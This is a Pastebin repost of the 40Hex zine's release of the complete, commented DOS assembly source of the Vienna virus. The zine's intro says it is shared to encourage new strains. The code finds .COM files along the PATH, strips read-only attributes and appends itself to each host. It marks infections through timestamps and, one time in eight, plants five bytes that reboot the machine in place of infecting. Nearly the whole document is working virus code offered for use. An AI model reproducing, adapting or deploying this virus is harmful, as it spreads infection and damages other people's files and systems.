Advertisement
FlyFar

Source Code of Vienna Virus

Jan 7th, 2023 (edited)
1,794
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 23.44 KB | Cybersecurity | 0 0
  1. ;40Hex Volume 1 Issue 2                                                   0011
  2.  
  3. ;                      Vienna and Violator Viruses
  4.  
  5. ;    The Vienna virus, since it's source code was released, has become
  6. ;    one of the most common viruses ever.  Not only that but there are
  7. ;    over 20 known strains of this virus.  We at 40Hex want to add on to
  8. ;    the list by giving out the source for the orginal Vienna virus as
  9. ;    well as the Violator-B source by Rabid.
  10.  
  11. ;------------------------------------------------------------------------------
  12.  
  13. MOV_CX  MACRO   X
  14.         DB      0B9H
  15.         DW      X
  16. ENDM
  17.  
  18. CODE    SEGMENT
  19.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  20.         ORG     $+0100H
  21.  
  22. ;*****************************************************************************
  23. ;Start out with a JMP around the remains of the original .COM file, into the
  24. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  25. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  26. ;*****************************************************************************
  27.  
  28. VCODE:  JMP     virus
  29.  
  30. ;This was the rest  of the original .COM file. Tiny and simple, this time
  31.  
  32.         NOP
  33.         NOP
  34.         NOP
  35.         NOP
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.         NOP
  46.         NOP
  47.  
  48. ;************************************************************
  49. ;              The actual virus starts here
  50. ;************************************************************
  51.  
  52. v_start equ     $
  53.  
  54. virus:  PUSH    CX
  55.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  56.                                         ; The 2nd and 3rd bytes get modified.
  57.         CLD                             ;Pointers will be auto INcremented
  58.         MOV     SI,DX                   ;Access data as offset from SI
  59.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  60.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  61.         MOV     CX,3
  62.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  63.         MOV     SI,DX                   ;Keep SI pointing to the data area
  64.  
  65. ;*************************************************************
  66. ;                   Check the DOS version
  67. ;*************************************************************
  68.  
  69.         MOV     AH,30H
  70.         INT     21H
  71.  
  72.         CMP     AL,0                    ;0 means it's version 1.X
  73.  
  74.         JNZ     dos_ok                  ;For version 2.0 or greater
  75.         JMP     quit                    ;Don't try to infect version 1.X
  76.  
  77. ;*************************************************************
  78. ;  Here if the DOS version is high enough for this to work
  79. ;*************************************************************
  80.  
  81. dos_ok: PUSH    ES
  82.  
  83. ;*************************************************************
  84. ;               Get DTA address into ES:BX
  85. ;*************************************************************
  86.  
  87.         MOV     AH,2FH
  88.         INT     21H
  89.  
  90. ;*************************************************************
  91. ;                    Save the DTA address
  92. ;*************************************************************
  93.  
  94.         MOV     [SI+old_dta],BX
  95.         MOV     [SI+old_dts],ES         ;Save the DTA address
  96.  
  97.         POP     ES
  98.  
  99. ;*************************************************************
  100. ;        Set DTA to point inside the virus data area
  101. ;*************************************************************
  102.  
  103.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  104. ;       NOP                             ;MASM will add this NOP here
  105.         ADD     DX,SI                   ;Compute DTA address
  106.         MOV     AH,1AH
  107.         INT     21H                     ;Set new DTA to inside our own code
  108.  
  109.         PUSH    ES
  110.         PUSH    SI
  111.         MOV     ES,DS:2CH
  112.         MOV     DI,0                    ;ES:DI points to environment
  113.  
  114. ;************************************************************
  115. ;        Find the "PATH=" string in the environment
  116. ;************************************************************
  117.  
  118. find_path:
  119.         POP     SI
  120.         PUSH    SI                      ;Get SI back
  121.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  122.         LODSB
  123.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  124.         REPNZ   SCASB                   ;Search for first character
  125.         MOV     CX,4
  126.  
  127. ;************************************************************
  128. ;       Loop to check for the next four characters
  129. ;************************************************************
  130.  
  131. check_next_4:
  132.         LODSB
  133.         SCASB
  134.         JNZ     find_path               ;If not all there, abort & start over
  135.         LOOP    check_next_4            ;Loop to check the next character
  136.  
  137.         POP     SI
  138.         POP     ES
  139.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  140.         MOV     DI,SI
  141.         ADD     DI,wrk_spc              ;File name workspace
  142.         MOV     BX,SI                   ;Save a copy of SI
  143.         ADD     SI,wrk_spc              ;Point SI to workspace
  144.         MOV     DI,SI                   ;Point DI to workspace
  145.         JMP     SHORT   slash_ok
  146.  
  147. ;**********************************************************
  148. ;     Look in the PATH for more subdirectories, if any
  149. ;**********************************************************
  150.  
  151. set_subdir:
  152.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  153.         JNZ     found_subdir            ;If not, there are more subdirectories
  154.         JMP     all_done                ;Else, we're all done
  155.  
  156. ;**********************************************************
  157. ;    Here if there are more subdirectories in the path
  158. ;**********************************************************
  159.  
  160. found_subdir:
  161.         PUSH    DS
  162.         PUSH    SI
  163.         MOV     DS,ES:2CH               ;DS points to environment segment
  164.         MOV     DI,SI
  165.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  166.         ADD     DI,wrk_spc              ;DI points to file name workspace
  167.  
  168. ;***********************************************************
  169. ;      Move subdirectory name into file name workspace
  170. ;***********************************************************
  171.  
  172. move_subdir:
  173.         LODSB                           ;Get character
  174.         CMP     AL,';'                  ;Is it a ';' delimiter?
  175.         JZ      moved_one               ;Yes, found another subdirectory
  176.         CMP     AL,0                    ;End of PATH string?
  177.         JZ      moved_last_one          ;Yes
  178.         STOSB                           ;Save PATH marker into [DI]
  179.         JMP     SHORT   move_subdir
  180.  
  181. ;******************************************************************
  182. ; Mark the fact that we're looking through the final subdirectory
  183. ;******************************************************************
  184.  
  185. moved_last_one:
  186.         MOV     SI,0
  187.  
  188. ;******************************************************************
  189. ;              Here after we've moved a subdirectory
  190. ;******************************************************************
  191.  
  192. moved_one:
  193.         POP     BX                      ;Pointer to virus data area
  194.         POP     DS                      ;Restore DS
  195.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  196.         NOP
  197.  
  198. ;******************************************************************
  199. ;             Make sure subdirectory ends in a "\"
  200. ;******************************************************************
  201.  
  202.         CMP     CH,'\'                  ;Ends with "\"?
  203.         JZ      slash_ok                ;If yes
  204.         MOV     AL,'\'                  ;Add one, if not
  205.         STOSB
  206.  
  207. ;******************************************************************
  208. ;     Here after we know there's a backslash at end of subdir
  209. ;******************************************************************
  210.  
  211. slash_ok:
  212.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  213.         MOV     SI,BX                   ;Restore SI
  214.         ADD     SI,f_spec               ;Point to "*.COM"
  215.         MOV     CX,6
  216.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  217.  
  218.         MOV     SI,BX
  219.  
  220. ;*******************************************************************
  221. ;                 Find first string matching *.COM
  222. ;*******************************************************************
  223.  
  224.         MOV     AH,4EH
  225.         MOV     DX,wrk_spc
  226. ;       NOP                             ;MASM will add this NOP here
  227.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  228.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  229.         INT     21H
  230.  
  231.         JMP     SHORT   find_first
  232.  
  233. ;*******************************************************************
  234. ;              Find next ASCIIZ string matching *.COM
  235. ;*******************************************************************
  236.  
  237. find_next:
  238.         MOV     AH,4FH
  239.         INT     21H
  240.  
  241. find_first:
  242.         JNB     found_file              ;Jump if we found it
  243.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  244.  
  245. ;*******************************************************************
  246. ;                      Here when we find a file
  247. ;*******************************************************************
  248.  
  249. found_file:
  250.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  251.         AND     AL,1FH                  ;Mask to remove all but seconds
  252.         CMP     AL,1FH                  ;62 seconds -> already infected
  253.         JZ      find_next               ;If so, go find another file
  254.  
  255.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  256.         JA      find_next               ;If too long, find another one
  257.  
  258.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  259.         JB      find_next               ;Then go find another one
  260.  
  261.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  262.         PUSH    SI                      ;Save SI
  263.         ADD     SI,dta_nam              ;Point SI to file name
  264.  
  265. ;********************************************************************
  266. ;                Move the name to the end of the path
  267. ;********************************************************************
  268.  
  269. more_chars:
  270.         LODSB
  271.         STOSB
  272.         CMP     AL,0
  273.         JNZ     more_chars              ;Move characters until we find a 00
  274.  
  275. ;********************************************************************
  276. ;                        Get File Attributes
  277. ;********************************************************************
  278.  
  279.         POP     SI
  280.         MOV     AX,OFFSET 4300H
  281.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  282. ;       NOP                             ;MASM will add this NOP here
  283.         ADD     DX,SI
  284.         INT     21H
  285.  
  286.         MOV     [SI+old_att],CX         ;Save the old attributes
  287.  
  288. ;********************************************************************
  289. ;         Rewrite the attributes to allow writing to the file
  290. ;********************************************************************
  291.  
  292.         MOV     AX,OFFSET 4301H         ;Set attributes
  293.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  294.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  295. ;       NOP                             ;MASM will add this NOP here
  296.         ADD     DX,SI                   ;Point to \path\name
  297.         INT     21H
  298.  
  299. ;********************************************************************
  300. ;                Open Read/Write channel to the file
  301. ;********************************************************************
  302.  
  303.         MOV     AX,OFFSET 3D02H         ;Read/Write
  304.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  305. ;       NOP                             ;MASM will add this NOP here
  306.         ADD     DX,SI                   ;Point to \path\name
  307.         INT     21H
  308.  
  309.         JNB     opened_ok               ;If file was opened OK
  310.         JMP     fix_attr                ;If it failed, restore the attributes
  311.  
  312. ;*******************************************************************
  313. ;                        Get the file date & time
  314. ;*******************************************************************
  315.  
  316. opened_ok:
  317.         MOV     BX,AX
  318.         MOV     AX,OFFSET 5700H
  319.         INT     21H
  320.  
  321.         MOV     [SI+old_tim],CX         ;Save file time
  322.         MOV     [SI+ol_date],DX         ;Save the date
  323.  
  324. ;*******************************************************************
  325. ;                        Get current system time
  326. ;*******************************************************************
  327.  
  328.         MOV     AH,2CH
  329.         INT     21H
  330.  
  331.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  332.         JNZ     seven_in_eight
  333.  
  334. ;*******************************************************************
  335. ; The special "one in eight" infection. If the above line were in
  336. ;  its original form, this code would be run 1/8 of the time, and
  337. ;  rather than appending a copy of this virus to the .COM file, the
  338. ;  file would get 5 bytes of code that reboot the system when the
  339. ;  .COM file is run.
  340. ;*******************************************************************
  341.  
  342.         MOV     AH,40H                  ;Write to file
  343.         MOV     CX,5                    ;Five bytes
  344.         MOV     DX,SI
  345.         ADD     DX,reboot               ;Offset of reboot code in data area
  346.         INT     21H
  347.  
  348.         JMP     SHORT   fix_time_stamp
  349.  
  350.         NOP
  351.  
  352. ;******************************************************************
  353. ;      Here's where we infect a .COM file with this virus
  354. ;******************************************************************
  355.  
  356. seven_in_eight:
  357.         MOV     AH,3FH
  358.         MOV     CX,3
  359.         MOV     DX,first_3
  360. ;       NOP                     ;MASM will add this NOP here
  361.         ADD     DX,SI
  362.         INT     21H             ;Save first 3 bytes into the data area
  363.  
  364.         JB      fix_time_stamp  ;Quit, if read failed
  365.  
  366.         CMP     AX,3            ;Were we able to read all 3 bytes?
  367.         JNZ     fix_time_stamp  ;Quit, if not
  368.  
  369. ;******************************************************************
  370. ;              Move file pointer to end of file
  371. ;******************************************************************
  372.  
  373.         MOV     AX,OFFSET 4202H
  374.         MOV     CX,0
  375.         MOV     DX,0
  376.         INT     21H
  377.  
  378.         JB      fix_time_stamp  ;Quit, if it didn't work
  379.  
  380.         MOV     CX,AX           ;DX:AX (long int) = file size
  381.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  382.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  383.  
  384.         ADD     CX,OFFSET c_len_y
  385.         MOV     DI,SI           ;Point DI to virus data area
  386.         SUB     DI,OFFSET c_len_x
  387.                                 ;Point DI to reference vir_dat, at start of pgm
  388.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  389.  
  390. ;*******************************************************************
  391. ;                    Write virus code to file
  392. ;*******************************************************************
  393.  
  394.         MOV     AH,40H
  395.  
  396.         MOV_CX  virlen                  ;Length of virus, in bytes
  397.  
  398.         MOV     DX,SI
  399.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  400.                                         ; address of virus code in memory
  401.         INT     21H
  402.  
  403.         JB      fix_time_stamp          ;Jump if error
  404.  
  405.         CMP     AX,OFFSET virlen        ;All bytes written?
  406.         JNZ     fix_time_stamp          ;Jump if error
  407.  
  408. ;**********************************************************************
  409. ;                Move file pointer to beginning of the file
  410. ;**********************************************************************
  411.  
  412.         MOV     AX,OFFSET 4200H
  413.         MOV     CX,0
  414.         MOV     DX,0
  415.         INT     21H
  416.  
  417.         JB      fix_time_stamp          ;Jump if error
  418.  
  419. ;**********************************************************************
  420. ;              Write the 3 byte JMP at the start of the file
  421. ;**********************************************************************
  422.  
  423.         MOV     AH,40H
  424.         MOV     CX,3
  425.         MOV     DX,SI                   ;Virus data area
  426.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  427.         INT     21H
  428.  
  429. ;**********************************************************************
  430. ;       Restore old file date & time, with seconds modified to 62
  431. ;**********************************************************************
  432.  
  433. fix_time_stamp:
  434.         MOV     DX,[SI+ol_date]         ;Old file date
  435.         MOV     CX,[SI+old_tim]         ;Old file time
  436.         AND     CX,OFFSET 0FFE0H
  437.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  438.         MOV     AX,OFFSET 5701H
  439.         INT     21H
  440.  
  441. ;**********************************************************************
  442. ;                              Close File
  443. ;**********************************************************************
  444.  
  445.         MOV     AH,3EH
  446.         INT     21H
  447.  
  448. ;**********************************************************************
  449. ;                     Restore Old File Attributes
  450. ;**********************************************************************
  451.  
  452. fix_attr:
  453.         MOV     AX,OFFSET 4301H
  454.         MOV     CX,[SI+old_att]         ;Old Attributes
  455.         MOV     DX,wrk_spc
  456. ;       NOP                             ;MASM will add this NOP
  457.         ADD     DX,SI                   ;DX points to \path\name in workspace
  458.         INT     21H
  459.  
  460. ;**********************************************************************
  461. ;              Here when it's time to close it up & end
  462. ;**********************************************************************
  463.  
  464. all_done:
  465.         PUSH    DS
  466.  
  467. ;**********************************************************************
  468. ;                         Restore old DTA
  469. ;**********************************************************************
  470.  
  471.         MOV     AH,1AH
  472.         MOV     DX,[SI+old_dta]
  473.         MOV     DS,[SI+old_dts]
  474.         INT     21H
  475.  
  476.         POP     DS
  477.  
  478. ;*************************************************************************
  479. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  480. ;  in since the address in a real JMP 100 is an offset, and the offset
  481. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  482. ;  stack, we can RET to address 0100H just as though we JMPed there.
  483. ;**********************************************************************
  484.  
  485. quit:
  486.         POP     CX
  487.         XOR     AX,AX
  488.         XOR     BX,BX
  489.         XOR     DX,DX
  490.         XOR     SI,SI
  491.         MOV     DI,OFFSET 0100H
  492.         PUSH    DI
  493.         XOR     DI,DI
  494.  
  495.         RET     0FFFFH
  496.  
  497. ;************************************************************************
  498. ;The virus data starts here. It's accessed off the SI register, per the
  499. ; comments as shown
  500. ;************************************************************************
  501.  
  502. vir_dat EQU     $
  503.  
  504.         ;Use this with (SI + old_dta)
  505. olddta_ DW      0                       ;Old DTA offset
  506.  
  507.         ;Use this with (SI + old_dts)
  508. olddts_ DW      0                       ;Old DTA segment
  509.  
  510.         ;Use this with (SI + old_tim)
  511. oldtim_ DW      0                       ;Old Time
  512.  
  513.         ;Use this with (SI + ol_date)
  514. oldate_ DW      0                       ;Old date
  515.  
  516.         ;Use this with (SI + old_att)
  517. oldatt_ DW      0                       ;Old file attributes
  518.  
  519. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  520.  
  521. first3_ EQU     $
  522.         INT     20H
  523.         NOP
  524.  
  525. ;Here's where the new JMP instruction is worked out
  526.  
  527.         ;Use this with (SI + jmp_op)
  528. jmpop_  DB      0E9H                    ;Start of JMP instruction
  529.  
  530.         ;Use this with (SI + jmp_dsp)
  531. jmpdsp_ DW      0                       ;The displacement part
  532.  
  533. ;This is the type of file  we're looking to infect. (SI + f_spec)
  534.  
  535. fspec_  DB      '*.COM',0
  536.  
  537.         ;Use this with (SI + path_ad)
  538. pathad_ DW      0                       ;Path address
  539.  
  540.         ;Use this with (SI + nam_ptr)
  541. namptr_ DW      0                       ;Pointer to start of file name
  542.  
  543.         ;Use this with (SI + env_str)
  544. envstr_ DB      'PATH='                 ;Find this in the environment
  545.  
  546.         ;File name workspace (SI + wrk_spc)
  547. wrkspc_ DB      40h dup (0)
  548.  
  549.         ;Use this with (SI + dta)
  550. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  551.  
  552.         ;Use this with (SI + dta_tim)
  553. dtatim_ DW      0,0                     ;Time stamp in DTA
  554.  
  555.         ;Use this with (SI + dta_len)
  556. dtalen_ DW      0,0                     ;File length in the DTA
  557.  
  558.         ;Use this with (SI + dta_nam)
  559. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  560.  
  561.         ;Use this with (SI + reboot)
  562. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  563.  
  564. lst_byt EQU     $                       ;All lines that assemble into code are
  565.                                         ;  above this one
  566.  
  567. ;*****************************************************************************
  568. ;The virus needs to know a few details about its own size and the size of its
  569. ; code portion. Let the assembler figure out these sizes automatically.
  570. ;*****************************************************************************
  571.  
  572. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  573. codelen =       vir_dat - v_start       ;Length of virus code, only
  574. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  575. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  576.  
  577. ;*****************************************************************************
  578. ;Because this code is being appended to the end of an executable file, the
  579. ; exact address of its variables cannot be known. All are accessed as offsets
  580. ; from SI, which is represented as vir_dat in the below declarations.
  581. ;*****************************************************************************
  582.  
  583. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  584. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  585. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  586. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  587. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  588. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  589. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  590. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  591. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  592. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  593. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  594. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  595. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  596. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  597. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  598. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  599. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  600. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  601.  
  602.         CODE    ENDS
  603. END     VCODE
  604.  
  605.  
  606.  
Tags: ViennaVirus
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement